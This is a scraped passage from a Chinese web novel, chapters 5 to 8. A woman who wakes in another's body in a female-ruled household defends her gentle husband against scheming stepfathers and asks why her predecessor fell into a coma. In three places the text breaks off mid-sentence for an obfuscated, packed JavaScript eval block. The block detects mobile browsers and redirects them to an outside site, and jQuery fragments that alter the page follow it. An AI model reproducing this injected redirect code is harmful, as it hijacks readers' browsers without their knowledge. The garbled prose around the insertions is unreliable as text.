姜宜年道:“这种事我可问的出来。” 商琮琤抬头看她,目光澄澈如水,“没什么,今日父亲不知道受了什么刺激,平时他不会这样重罚我的。” “什么父亲,哪门子父亲,你不想叫就不用叫,他都想毁你容了,你还把他当父亲。” 姜宜年想好了,“反正今天我跟他撕破脸了,以后我是不会对他恭恭敬敬的,你也不用。” 她看着商琮琤的眼睛警告他:“从今天开始,你不用再到他院子里去请安问好,不准去,听到了没有?如果他再找你麻烦,你就说是我不让你去的,虽说父命难为,但我的话你也不能不听,你就这么跟他说,就这么敷衍他,知道了吗?” 商琮琤知道她是为自己好,也知道今天姜宜年在二房院子里大闹一场是为他出气,但他作为嫁过来的女婿,自然盼望的是一家和乐,怎么能因为自己让妻主和父亲不和呢。 “妻主不必为我顶撞……” 被姜宜年那双大眼睛一瞪,商琮琤把原本差点儿说出口的“父亲”两个字生生吞了回去。 “……他,其实他说的话,从他的身份角度去考虑没有什么问题,我做事总是与他所想相背,他不喜欢我是理所当然的。” 商琮琤说:“他虽是侧夫,但也是母亲明媒正娶八抬大轿抬回来的夫郎,是家里的长辈,总不好真的闹僵了。” “……” 姜宜年算是见到活着的封建余孽了,一脸的不可置信。 商琮琤还在循循善诱:“不如明日,妻主跟我一起去见他,跟他赔个礼道个歉,妻主也不必推翻今日所言,甚至不用怎么说话,我来说,妻主到时候应和几句就好。” “我才不去,要去你去。”默了默,她反口道:“你也不准去!” 姜宜年心里生气,起身问守在门外的柯玉有没有凉茶。 “有,马上来。” “柯玉。”商琮琤叫住她,“去倒热茶来。” 姜宜年转头看他,商琮琤解释道:“妻主刚醒,身体情况尚不明朗,现在天气凉,不适合喝凉茶。”顿了顿,他又开口:“热茶也要少喝,妻主还在喝药,免得坏了药性。” “……” 姜宜年觉得商琮琤就是……就是……就是棉花团子! 针扎进去不喊痛!油盐不进! 不过她想,如果商琮琤真的是棉花团子,估计也是最干净,最好看的那一团。 商琮琤先前感觉到了姜宜年在生气,看她看着自己,不知道发生了什么,明明什么都没发生,她却好像又不生气了。 可眼珠子像是黏在他脸上了一样。 5. 第5章 “妻主?” 这么冒失地盯着别人的夫郎是不礼貌的行为! 这句话像弹幕一样快速从姜宜年脑中滚过去,她立刻回神,在心里骂了自己一句。 “妻主怎么了?有什么不舒服吗?” “没有。”姜宜年不再看商琮琤,想了想,说:“我饿了。” 商琮琤有些惊讶,罕见地像是要发怒。 “妻主起来还没有吃过东西吗?柯玉是怎么做事的,她……” “好了,你吃过了吗?要不要一起?” 姜宜年答应了柯玉不让她受罚,这个时候必然要保她。 她问:“有东西吃吗?” “有。” 商琮琤转头叫了一声吉枣,让他立刻去安排早膳。 柯玉这时候也回来了,没察觉到自己有危机,反而先开了口。 “都怪我,忘了娘子还没吃东西呢。”话锋一转,柯玉笑道:“早膳是郎君一早准备好的,都是娘子喜欢的。” 商琮琤看着他们把饭菜摆好,让其他人都下去,单独和姜宜年用膳。 姜宜年原本也受不了吃饭的时候身边有人盯着自己,但是商琮琤对她来说跟陌生人没什么区别。 和陌生人一起吃早餐…… 如果时间能回到不久之前,她应该会对邀请对方一起吃饭这一行为重新考虑一下。 商琮琤手里拿着勺子,却没其他动作,只目不转睛地看着身边的人。 姜宜年一勺一勺喝粥,原本想直接忽视,奈何很难。 她看向商琮琤,“你应当是一早起来就去了二房吧,应该没时间吃东西,难道不饿?看着我做什么?” 商琮琤低头看向手边的白瓷碗,里面盛着热粥,味道丝丝入鼻,他却不觉得饿。 “妻主过去找我,是因为担心我?” “不然呢?” 姜宜年想着,就算她不说,甚至找了别的借口,商琮琤一定也会知道是柯玉跟她说了什么。 说了什么呢?内容也很容易猜到。没必要撒谎。 姜宜年的语气不大好,是说完了才后知后觉发现的。 从商琮琤的美貌冲击中回过神来,她还是会觉得有一点生气。 善良固然很好,但善良过头就有问题了。 原主的这个夫郎,在姜宜年看来就是善良过头。 不过能想得通,一个人是怎么样的,跟他所处的时代、社会背景、家庭教育,还有平时的所见所闻都是息息相关的。 商琮琤听出了她的不满,知道她为什么不满,拧起了眉,看上去有点儿委屈。 “抱歉。” 姜宜年不久前情绪释放过度,忘了收敛,这时候想到了更多,觉得这件事并不是商琮琤的错,怪他干嘛。 才嫁进来半年妻主就遭了祸,苦守一年,这其中吃了多少苦早就数不清了,好不容易妻主醒了过来,换了人,他还不知道。 对商琮琤来说,这一件接一件的,全是无妄之灾。 “妻主不必同我道歉,妻主没有做错什么,是我的问题,不讨父亲喜欢,妻主这样做,也是为了维护我,琮琤知道。” 姜宜年有些好奇,“他那么欺负你,难道见他吃瘪,你心里就一点儿痛快的感觉都没有吗?” 商琮琤原本一直看着姜宜年,听到她这么问,眼神有些闪躲。 姜宜年却反而高兴起来。 她就说嘛,人非圣贤,见到欺负自己的人遭罪,就算不幸灾乐祸,心里稍微痛快一点点又不犯法。 商琮琤像是看穿了她在想什么,低声开口:“这样不对……” “有什么不对,他跟我又没有血缘关系。”姜宜年说完,又补充道:“跟你也没有。” 她说:“原本我们可以和平度日,可他天天这样折腾你,摆明了是故意的,给自己立威,跟大房宣战。原先我帮不到你,现在我醒了,我跟你代表的不是自己,谁规定的必须对他恭恭敬敬?他要是个温和慈爱的长辈另说,现在这种情况,对他好就是对自己坏。” 姜宜年可受不了这种委屈。 商琮琤静默地看着她。 或许对他来说很难吧,但改变总是一点一点开始的。 姜宜年想到他这一年以来支撑着整个姜家,其实也挺有反叛精神的。 他的妻主在离开前,对他说了什么,才让他如此执著呢? 姜宜年很好奇,两个人平时是怎么相处的? 究竟妻夫关系好到了什么地步,才能让商琮琤这么一个谨小慎微,极其传统的男人一直违背名义上的那位父亲的想法,将姜家的一切握在自己手里,只等着妻主醒来,重新交还给她。 姜宜年看着他说:“这一年来,你辛苦了。” 商琮琤的眼圈一下就红了。惊觉失态,连忙低下头去。 缓了一会儿才看向姜宜年,“妻主何必跟我说这个,我们是妻夫,这都是我该做的。” 他起身,像是要做什么事情,突然被进门禀报的柯玉打断—— “娘子,郎君,三房和四房的人过来了。” 姜宜年下意识看向商琮琤,商琮琤只愣了一下,便低头整理自己的衣着。 “估计是从二房那里听到了风声,知道娘子醒过来了的消息,娘子要见他们吗?” “能不见吗?” “……若是娘子实在不想现在见,也可以。” 姜宜年看出来商琮琤原本是建议她去见一下的,只是中途改了口。 她转头看向柯玉,道:“请他们进来吧。” 无关乎商琮琤怎么想,姜宜年只是想到,这是原主的家人,迟早要见。 她只记得商琮琤一个人,忘记了其他所有人的事情,现在估计他们都听说了,见过面了也算了了一件事。 二房郭氏跋扈,三房李氏和四房吴氏看起来还算温和。 尤其是三房李氏,说话轻声细语,做什么都慢悠悠的,眉眼中总是带着笑。 四房吴氏非常年轻,看起来比商琮琤大不了几岁。 从进门后就没说过几句话,手边牵着一个小男孩儿,刚进门跟其他哥哥们一起奶声奶气地叫了一声“阿姐”之后,再没开过口。 三房李氏也把孩子们带来了,三个儿子,老大十四岁,老二十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697242|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二岁,最小的十岁。 短暂寒暄几句之后,姜宜年抬眼望去,一屋子除了她和柯玉,全是男性。 李氏主要询问姜宜年的身体情况,姜宜年如实告知,她现在除了自己的夫郎谁也不记得了,若有冒犯之处,敬请见谅。 “商氏真是好福气啊,宜年连亲弟弟们都不记得了,只记得你,可见对你是多么情深义重。” “父亲说的是,琮琤自然明白。” 商琮琤低眉顺眼站在一边,连个座位都捞不着。 姜宜年一开始没发现,乌泱泱一群人一起进来之后,纷纷落座。 商琮琤跟吉枣一起挨个送了茶点,等他站在姜宜年身边的时候,已经没有他的位置了。 理论上来说,最小的孩子也没座位,没一会儿闹着要吴氏抱,现在正在吴氏怀里吃点心,吃的满脸都是。 姜宜年听李氏慢条斯理说话,还不知道要多久,估计比她预想中要久。 她微微偏头,柯玉凑了过来。 “去给郎君还有阿弟取两把椅子过来。” 她声音不大,但此话一出,李氏就不说话了,笑容淡了些,看着她,吴氏先是看了商琮琤一眼,才看向姜宜年。 柯玉点头。 李氏笑了一声,“宜年还是跟以前一样,如此宠爱商氏,哎呀,不知道商氏上辈子做了什么好事,才找到你这么好的妻主。” “郎君为我忧心,这一年来尽心尽力地照顾我,他做什么都是为了我,为了整个姜家,我如何念着他想着他都不过分。” “话虽如此,世间深情的妻主说是并不罕见,可身边就能看到的,只有宜年你这独独一个。” 姜宜年听李氏说话有点儿累,总感觉他拐着弯在表达别的什么,或者内涵别的什么。 反正她没听明白,就假装什么都不知道,全盘接受就行。 “三爹爹这么说,我愧不敢当。” 柯玉搬了两把椅子过来,商琮琤却不愿意坐,跟姜宜年说:“我没事的,妻主不必管我。” 姜宜年早猜到了他可能会这样,直接开口劝道:“坐吧,你不坐下,阿弟也不好意思坐。” 那边吴氏刚把儿子放在另外的椅子上,听到这话,顿了顿,才看着他们妻夫微笑了一下。 “宜年想得周到,可惜你弟弟还什么都不懂呢。” “孩子长大很快的,母亲不在,只能劳烦四爹爹用心照料了,若是有什么需要帮忙的,务必要跟我说。” …… 李氏看来看去,姜宜年终于跟吴氏说完话,将目光重新投向他。 “宜年啊,大夫是怎么说的?” 姜宜年如实相告。 “万幸啊,真是万幸。”李氏道:“一定是你母亲在天上保佑着你呢。” 姜宜年抿唇一笑:“我想也是。” “不过,我们听说,你把你二爹爹给打伤了,可有此事?” 姜宜年:“……” 营销号都不敢这么写,他们是怎么听说的? 整件事突然从“对长辈不恭敬”上升到了“殴打老人”的高度,姜宜年一时无语。 6. 第6章 “不是这样的,妻主当时只是不小心碰到了父亲,父亲不慎摔倒后……” “我在跟你的妻主讲话,商氏,你有什么资格插嘴?” 李氏面对商琮琤时不似先前那般柔和了,语气陡然强硬起来。 姜宜年看到商琮琤的脸色瞬间不太好看,沉默一瞬,笑了一声,致使所有人都看向她。 李氏看姜宜年这个样子,也对她摆起了长辈的架子。 “宜年,关起门来你要如何宠爱自己的夫郎我们做长辈的不好说什么,但你既然娶了他,他作为夫郎就有规劝你的责任。你以前不是这样的,现在不仅这个商氏无法无天,你也变得不将长辈放在眼里了,责任在谁不必多说。” 李氏看向商琮琤,扬声道:“商氏,你自己领罚,先去祠堂跪上两个时辰吧。” 商琮琤一直低着头:“是。” 说完就要走,姜宜年已经看了半天的戏,直接抬手抓住了商琮琤的手腕,不让他走。 “妻主……” 商琮琤明显是想做好人,大事化小小事化了。 但姜宜年怎么肯就这么憋屈着算了,怎么能眼睁睁看着原本的受害者去罚跪。 她原本以为这两房听说家主醒了,是过来打探虚实、了解情况的,现在看来,李氏来之前就想好了不单单只打探情况,他也想要搞点事情出来。 姜宜年出手拦人似乎在李氏的意料之中,他看起来并不意外。 “宜年,虽说妻主是男子的天,但男子成家后也要对妻主的一言一行做出规劝,若商氏只是个小侍便罢了,但他是你的正夫……”李氏笑笑,道:“再说我只是让他去跪祠堂,让他去向姜家的列祖列宗请罪,这样你也要维护他吗?” “若郎君有错,我拦着,便是维护,但郎君没错,我不觉得他应该受罚。” 姜宜年说完也没有松手,担心商琮琤这个滥好人一撒手就走了,真去跪祠堂了,下了她的面子。 “哦?是吗?难道你二爹爹没有受伤?” 商琮琤急忙道:“父亲不慎摔倒,手腕有一些擦伤,不是妻主的错,是琮琤的问题,妻主刚醒过来,琮琤原本想稍后就去看看父亲,向他请罪道歉的,只是还没来得及……” “借口。”李氏不留情面地开口:“分明做了错事,却总是找借口,既照顾不好妻主,又伺候不了长辈,商氏,你这样如何做得了宜年的正夫,姜家的正头郎君?” “他如何做不了?他做不了难不成你能做得了吗?”姜宜年毫不客气地开口。 “宜年,你……你说什么?” “三爹爹没听清?三爹爹是真的想让我再重复说一遍吗?” 商琮琤似乎被吓到了,直接反手拉住了姜宜年的手,轻轻晃了晃,给她提示,让她收敛。 李氏的脸色肉眼可见地变得阴沉,吴氏也被吓呆了,坐在原位没有动,忽然如梦初醒一般,让柯玉把孩子们都带下去。 气氛很差,就在这个时候,姜宜年捏了一下商琮琤的手心,“你先坐下。” 商琮琤哪里敢坐,惴惴不安地站在原地。 姜宜年轻笑一声,看了一眼吴氏,才将目光落在李氏身上。 “事实是,我现在除了郎君什么都不记得了,别人以前对我如何我暂时还不清楚,但我知道郎君对我很好。你所说的那个人,我醒过来就看到他为难我的郎君,还想毁了他的容,而即使这样,因为郎君说那是我母亲的二房夫郎,我也不过是推了他一下,他自己养尊处优就那一下就伤着了,这也要怪在我头上吗?” 姜宜年嗤笑一声,一身混不吝的气质。 “依我说,把那些不必要的小心思统统收起来,有空的时候少花心思在难为人的事情上,多吃点儿饭好好养生比什么都强。” 姜宜年算是看清楚了,真要计算起来,李氏这种笑面虎比郭氏那种表面跋扈难搞多了。 他们两个的目的本质来说没有区别,都是想从商琮琤入手,给刚醒过来的她一个下马威。 或许“失忆”这个点对他们来说,反而给了他们一种说不定可以拿捏家主的希望。 姜宜年不知道原主是怎么样的,反正她不会跟别人有隔夜仇,一般当天就报了。 李氏比郭氏圆滑多了,看姜宜年没有因为长辈身份而退让,换了种表情和语气。 “若事情如你所说,那你二爹爹是有错,不过这其中会不会有什么误会?一家人可不能有这么严重的隔阂。” 姜宜年软硬不吃,她冷着脸道:“我亲眼所见亲耳所闻,难不成三爹爹是觉得我在说谎吗?” “三爹爹自然不是这个意思……” “他不仅企图伤害我郎君,还言语污蔑,意图毁他名节,三爹爹也是男子,自然知道这有多严重,还好我今日醒了,若是再迟两日,都不知道郎君还能不能好好活着。” “这话言重了。”李氏说:“你二爹爹脾气是有些大,原先被你母亲宠得无法无天,养成的习惯,不过只是脾气大些,平时爱折腾下人,你说的这些事,我觉得他是做不出来的。” “是吗?”姜宜年道:“三爹爹这么相信他,不如去亲自问问他好了。” “不,我的意思是说,或许他只是嘴上占占便宜罢了……” “郎君……” 不等李氏说完,姜宜年不想跟他继续对线,直接皱眉佯装不适向商琮琤的方向靠过去。 商琮琤当然紧张她,立刻靠近,问她怎么了。 “……突然头好疼。” 姜宜年低下头抬手盖住额头,刻意加重了呼吸,商琮琤急得不行,让吉枣去找大夫过来。 吴氏也围了过来,问姜宜年没事吧。 “商氏,看看宜年的样子,你平时是怎么照顾自己的妻主的?”李氏趁势对商琮琤兴师问罪。 商琮琤所有注意力都放在姜宜年身上,此时此刻什么都没听进去。 下一刻,姜宜年藏在衣袖里的手指轻轻捏了两下商琮琤的手心,商琮琤身体一僵,刹那间反应过来,姜宜年这是装的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697243|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她是不想再面对这些不速之客了。 商琮琤顺着她撒谎,跟两个父亲道歉,说妻主今日身体不适,改日登门道歉。 不等他们回话,就强行送他们出了门。 柯玉正和李氏、吴氏的随从守在门外,商琮琤直接让她送两位老爷和弟弟们回去。 姜宜年在房中坐着,看着商琮琤这一系列行云流水的言行,觉得他倒也不是不圆滑。 怎么在自己没出招的时候,他表现出来的就那么死板呢? 商琮琤回来,看到姜宜年什么事都没有的样子,松了口气。 “妻主别这样吓我。” 不知道是不是错觉,姜宜年觉得他的声音好像有点儿抖。 “我烦他们,来来回回就那些话、那点儿事。”姜宜年问:“你平时每天就是这样跟他们打交道的?让你跪就跪,骂你你就闭嘴受着?” 商琮琤摇头,“并非每日都会见到他们,晨起也只是去二房请个安。” 姜宜年想跟他说“人善被人欺”,但觉得他肯定听不进去,想了想没说。 “行了,让吉枣回来吧。” 商琮琤摇头,“反正要让大夫过来一趟,妻主让她看看吧,也好让我放心。” 姜宜年想了想,也行,既然这个身体现在是她的了,她也想知道自己是否健康。 人走了,终于安静下来,姜宜年心里一直存在的疑虑又浮现出来。 她问商琮琤:“我当初是怎么陷入昏迷的?” 为什么醒过来见到的人,没有一个人提到当初她是怎么出事的呢? 都在说她醒了真是万幸,但原主为什么会一睡不醒呢? 商琮琤脸色发白,姜宜年意识到,这对他来说也是一种心理阴影。 “不……不知道。” 他告诉姜宜年,在陷入昏迷之前,姜宜年去亲戚家赴宴,回来后看起来尚且一切正常,像平时一样躺下,姜宜年再次醒来,就是前日那次了。 “赴宴?所以有可能是中毒吗?你们没有报官?” “我报官了,可官府筛过了当天赴宴的所有人,没有找到有嫌疑的,也检查了所有饭食,都说没有问题。” “然后就结案了?” “我没有同意。”商琮琤提到这件事似乎还心有余悸,“但那时候所有事情积压在我一个人身上,我分身乏术,妻主还险些……险些丧命,我……等我再去官府想为妻主讨个公道的时候,他们告诉我姜家掌权人说此事了结了,不必查了。” “是二房?” 姜宜年将已知信息全部结合起来,想到商琮琤跟郭氏说过的话。 联系起来的话,当时商琮琤正周旋于所有麻烦事之中,他想找到凶手,但郭氏想把姜宜年移到别处,差点儿弄死她,之后商琮琤就只能顾她这一头了。 “或许不只是他。”商琮琤低下头,轻声道:“长辈们都觉得姜家没有女人,这种事不宜宣扬。” 姜宜年想,商琮琤做到这种程度已经很不容易了。 7. 第7章 大夫诊断姜宜年目前一切正常,还告诉商琮琤,他的妻主毕竟昏睡了那么久,若是有一些小症状觉得不舒服,让他不必太过紧张。 “要想彻底康复总是需要恢复的时间,家主福大命大,既然能醒过来,以后想来不会再有什么问题了。” 这位梁大夫就是第一次给姜宜年诊脉的大夫,商琮琤说她现在住在他们的院子里,就是担心姜宜年会在昏迷期间突然出现问题,好及时处理。 虽然没有明说,但姜宜年听出了他的话外之音。 也就是说,梁大夫是他筛选过的可以信任的大夫。 从一个角度来思考,郭氏找来的那个大夫就得小心,不能信任。 梁大夫离开前,商琮琤像之前一样问了一些大差不差的问题。 姜宜年想到商琮琤说的那些话,感觉原主突然陷入昏迷不醒之中大概率是人为原因。 但……会是谁做的呢? 她又想到自己没有继承原主的记忆,心情有点儿低沉。 除了她院子里的这几个,其他几房的人都以为她是今天才醒。 这么短的时间内,就把身边还存在的,不对付的,几乎可以轻而易举下手的所有嫌疑人见了个遍。 姜宜年在脑子里回想每一个人的脸,每一个人面对她时的表情和眼神。 想着想着,有点儿困。 吉枣熬好了汤药,商琮琤端进房间里的时候,就看到姜宜年已经躺到床上去了,似乎像是睡着了。 他心中一悸,把托盘放在桌上,疾行两步,不敢出声,在将近未近之处骤然停下。 姜宜年没有完全陷入沉睡,迷迷糊糊之中感觉似乎有人进了房间。 她本来很疲惫,眼皮都不想撑开,但突然想到让原主陷入长久昏迷的元凶现在还有可能在她身边蛰伏着,立刻睁开了眼睛。 还好看到的是商琮琤的脸。 他的表情看起来有点儿奇怪。 “你怎么了?” 姜宜年出声询问,商琮琤像是小幅度松了口气,“我以为……” “以为什么?”姜宜年撑起身子坐了起来,揉了下脸,“以为我又晕过去了?” 商琮琤没有承认,但也没有否认。 姜宜年思索片刻,可以理解商琮琤会有这样的担忧。 毕竟上次看到自己醒过来,商琮琤心中应该是欣喜若狂的,只不过碍于他的性格没有完全表现出来。 然而,狂喜之后,面对的就是姜宜年沉睡了将近一天。 说不定现在商琮琤时刻担心着姜宜年又会不声不响睡着了醒不过来。 他不会觉得这两次苏醒是回光返照吧? 姜宜年晨起时觉得自己像是充满了电,当时的感觉是真的,现在的疲倦也是真的,看来这身体掉电挺快。 “我没事。”姜宜年对商琮琤说:“只是有点儿累,估计是因为应付了那么多人。” “我会跟柯玉他们说好,不让那些人有机会再过来打扰妻主。” 姜宜年打了个哈欠,点了点头,说了声谢谢。 其实她想问可以这样吗,毕竟这样做似乎跟商琮琤向往成为的那种尊老爱幼的贤惠女婿人设渐行渐远了。 不过她脑子有点儿不转了,感觉掉电快跟醒过来跟那些人对线有很大关系,这具身体已经躺了一年,确实需要时间安静休养。 “妻主不必……跟我道谢。” 商琮琤轻咬了一下嘴唇,前行一步,姜宜年靠在床边低着头问他还有什么事。 “……该喝药了。” 姜宜年一抬头就看到商琮琤站得很近,手里端了一碗黑乎乎的东西。 闻着味道就受不了。 姜宜年清醒了大半,皱着脸不想喝。 还没说话,表情出卖了她。 商琮琤劝道:“良药苦口。”他说:“我准备了妻主爱吃的点心,喝完可以压压苦味。” 姜宜年侧头看到桌上托盘里确实还放着一小碟点心。 不知道是什么,但她想到,那是原主喜欢的,不是她喜欢的。 无人可说。 姜宜年的目光回落到眼前的这碗苦药上。 咬了咬牙,端起来,仰头,一饮而尽。 苦的要命。 她险些干呕,商琮琤立刻给她递了一枚点心。 姜宜年接过塞到嘴里,嚼了两口,嘴里的苦味儿散了一半。 点心口感细腻,酸中带甜,很好地中和了苦药味儿。 商琮琤看出了她喜欢吃,微笑着又递上一枚。 姜宜年吃完问他这点心是外面买的还是府里做的。 “是我做的。”商琮琤眼睛亮亮的,说完,表情有些落寞,“以前和妻主一起到别家赴宴,妻主很喜欢那家厨子做的香梅酥,回来之后我就学着做了,先前妻主也吃过几回,可惜现在……” 姜宜年看着他,有些于心不忍,虽然很清楚自己现在出现在这里是被动的,但还是感觉自己像做了错事。 商琮琤可惜的是她不记得了。 姜宜年的心情就复杂多了。 难道要可惜换人了吗?但能活下来,谁想去死呢。 姜宜年只能在心里安慰自己,这是命运选择了她,而不是她抢来的。 然后又在心里跟原主说话,让她放心,答应她自己一定会好好照顾商琮琤的,就凭他对原主的这一片痴心。 ……起码其他几房刁难商琮琤的时候,自己是一定会站出来的。 “好了,妻主先前不是累了?现下喝过了药,可以先睡一会儿。” 姜宜年点了点头,重新躺下。 商琮琤在房子里不知道在忙碌什么,似乎在翻柜子找东西。 姜宜年感觉自己像是跟床铺逐渐融为一体,无暇顾及其他,闭上了眼睛,很快失去了所有意识。 再次醒来,屋子里有窸窸窣窣的声响,姜宜年不确定自己这次睡了多久,起身想叫柯玉。 没想到商琮琤还在。 姜宜年揉了揉眼睛,刚睡醒神情有些木讷。 “妻主醒了。” 商琮琤原先坐着不知道在做什么,发现姜宜年醒了立刻来到她身边。 “我这次睡了多久?” “几个时辰。”商琮琤说:“快天黑了,妻主肯定饿了。” 是饿醒的吗? 姜宜年摸了下肚子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697244|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没觉得饿。 她翻身起来,这才看到原本商琮琤抱着一堆红色的衣服,旁边小箩筐里还放着针线。 “你在做什么?” 商琮琤看了一眼那些衣物,轻声回答:“偶然发现婚服开线了,补一补。” 姜宜年眨了眨眼,没说话,心情难以言喻。 商琮琤观察了一下她的表情才开口:“妻主要看看吗?是你我成婚时穿的,说不定会想起来一些什么。” 姜宜年看着商琮琤跃跃欲试的眼神,心往下沉了沉。 虽然商琮琤在大部分时间都表现得极为内敛,但这么短的时间里,姜宜年这个陌生灵魂已经感受到了一个事实—— 姑且先不论原主有多喜欢商琮琤,商琮琤本人,真的很喜欢他的妻主。 原来的那个。 姜宜年拍了拍脸,在心里告诉自己要学会发掘所有事件好的一面。 例如这件事,起码证明了商琮琤是真的想让她回想起来“以前的事”,如果说先前商琮琤只是最没有嫌疑的那个人,现在几乎可以说是完全没有嫌疑了。 “妻主?” 姜宜年点头,走过去,商琮琤递给她原主以前穿过的那一套红色婚服。 从绣工来看就知道很贵,她突然想到自己熟知的那个古代背景,转头问商琮琤:“婚服是在外面买的吗?” “不是。”商琮琤轻声说:“一般来说,男子出嫁前要自己缝制婚服,还有给妻主的一些讨彩头的小玩意,很少有人成婚会在外面铺子买,都觉得不吉利。” 最后两个字,商琮琤说得非常轻,姜宜年反应了一下才听懂是“吉利”。 郭氏说他是扫帚星,看来商琮琤很在意这一点。 姜宜年低下头,手指指腹轻轻划过那些精美绝伦的刺绣,这一针一线,很难想象全是人工。 “这都是你一个人做的?” 商琮琤点头,表情不以为意。 姜宜年真心夸赞:“你好厉害。” 商琮琤笑了一下,“这都是男子从小要学会的,妻主果然什么都忘了,又夸我一次。” 姜宜年愣了一下,情绪上产生了微妙的变化。 她放下手里的婚服,说自己有点儿饿了。 商琮琤点头,“我去准备,很快就好。” 等他出去,姜宜年重新拿起那两套婚服,看了半晌,静默不语。 突然从别人的伴侣身体里醒过来,好像横插在人家两个之间的第三者啊。 有点可耻。 还有点可恶。 姜宜年坐在不久前商琮琤坐的位置上,突然发现这里一转头就能看到内间一角。 现在能看到枕头,刚才应该能看到她睡着了的样子。 姜宜年起身走到屏风旁,从地上的痕迹判断,屏风被人小幅度地移动过。 除了商琮琤应该没有别人了。 留在房中说是缝补婚服,其实是找了个借口,看她睡觉的样子。 姜宜年心情复杂。 以伴侣的关系来解读的话,还有点儿动人呢怎么的。 如果现在在这个身体里的是原主,而不是她这个第三者,故事就完美了。 8. 第8章 等姜宜年跟商琮琤坐在前厅吃饭的时候,外面的天色已经完全黑了。 姜宜年感觉醒来后经历了好多事,见了好多人,单从今天开始算起,就是这样了,她几乎眼花缭乱。 活下来的庆幸感和为原主昏迷原因的担忧结合在一起,脑子里装的东西有点儿多。 她机械式进食,在商琮琤问起“味道怎么样?妻主还喜欢吗?”的时候,她随口敷衍答道:“挺好的。” 商琮琤没信,放下碗筷问她是不是食物做的不好吃。 “没有。”姜宜年这才把重点注意力放在身边人身上,对他说:“真的挺好。” 商琮琤还想说什么,柯玉难掩喜色从外面小步跑进来,打断了两人之间的谈话。 “娘子,我姐回来了!” 柯玉的姐姐? 姜宜年反应了一下,很快想起来一个名字。 柯锦。 姜宜年下意识看向商琮琤。 商琮琤含着笑意轻声开口:“柯玉的姐姐柯锦,从小就跟着妻主,几乎是和妻主一起长大,原本她一直留在妻主身边,只不过在我接手姜家的所有事宜后,不能抛头露面,便把很多事情都交给她去做,她现在不住在这里。” “是你让人通知她回来的?” 商琮琤没有否认。 “柯锦比我认识妻主的时间还要久,既然其他几房已经知晓,没什么理由单单瞒着她,她一直以来也很担心妻主,我也想着,若是妻主见了她,能想起来一些什么,也是好的。” 姜宜年原本不是很想见到这个柯锦。 现在听了商琮琤说的话,就更不想见了。 但她明面上是失忆,没什么理由不见,而且按常理推测,她现在应该是最想快点儿回想起所有记忆的人。 柯玉喜滋滋站在一边,没一会儿,从院外进来个女人。 打扮利索,身材颀长,长发束起,类似比较复杂的高马尾造型。 与柯锦的打扮形成严重反差的是她的表情,她大步走向姜宜年,看到她正好好的坐在亭中用膳,泪珠一串串落了下来。 “娘子……你真的……你真的醒了……不是假的,原来传话的没有撒谎。” 柯锦几乎嚎啕大哭起来,姜宜年有些手足无措。 柯玉被姐姐激动的情绪感染到,一边抹泪,一边过去扶着她、安慰她。 “姐,你别这样,娘子现在什么都不记得了,你这样会吓到她的。” 柯锦猛地偏头看向柯玉,又看着一脸无措皱着眉看着自己的姜宜年。 “果真?娘子连我也不记得了?” 柯玉小声在柯锦耳边低语,“真的,娘子连郎君都不记得了。” …… 等柯锦情绪渐渐平复,姜宜年带着她挪到了书房说话。 只有她们两个人。 “他们都说,你我几乎算是在一起长大?” “是,娘子六岁时,管家把我和柯玉买进来,然后我就一直陪在娘子身边,直到娘子娶夫半年后,出了意外,昏迷不醒,郎君才派我在外面为他做事,让柯玉在后宅顶了我的位置。” 姜宜年想了想,还是问她:“我是怎么昏迷的?是中毒吗?” 如果真的是原主失忆,她觉得对方最在意的也是这个问题。 但很可惜,柯锦没给出什么有价值的信息,她说的跟商琮琤说的大差不差。 商琮琤那么希望她想起旧事,几乎没有嫌疑,他说的话没必要怀疑。 现在柯锦跟商琮琤说的一样,姜宜年相信他们描述的就是当时发生过的事实。 姜宜年沉默思考着,柯锦突然开口问道:“娘子很害怕吧?” “怎么这么问?” 柯锦叹了口气,“一年了,当时害娘子的人还没有抓到,现在娘子忘却了一切,一定会对周围所有人产生怀疑,包括我,我明白的。” 姜宜年没说话。 柯锦表情认真地开口道:“无论娘子信不信我,我发誓我是不会伤害娘子的,娘子有什么问题都可以问我,我知道关于娘子过往的一切。”顿了顿,她补充道:“还有娘子昏迷期间发生的事,我也全都知道。” 姜宜年想了想,问她:“我跟什么人结过仇吗?” “不曾。”柯锦叹了口气,“当日娘子出事,郎君也问过这个问题,娘子当时刚刚接手姜家所有生意,怎么会跟人结仇呢,郎君也细细调查了一番,没有查出什么。” 姜宜年沉默了一会儿,眼皮微抬,看着柯锦的眼睛问她:“郎君可以完全信任吗?” “当然。”柯锦想都没想就直接回答了。 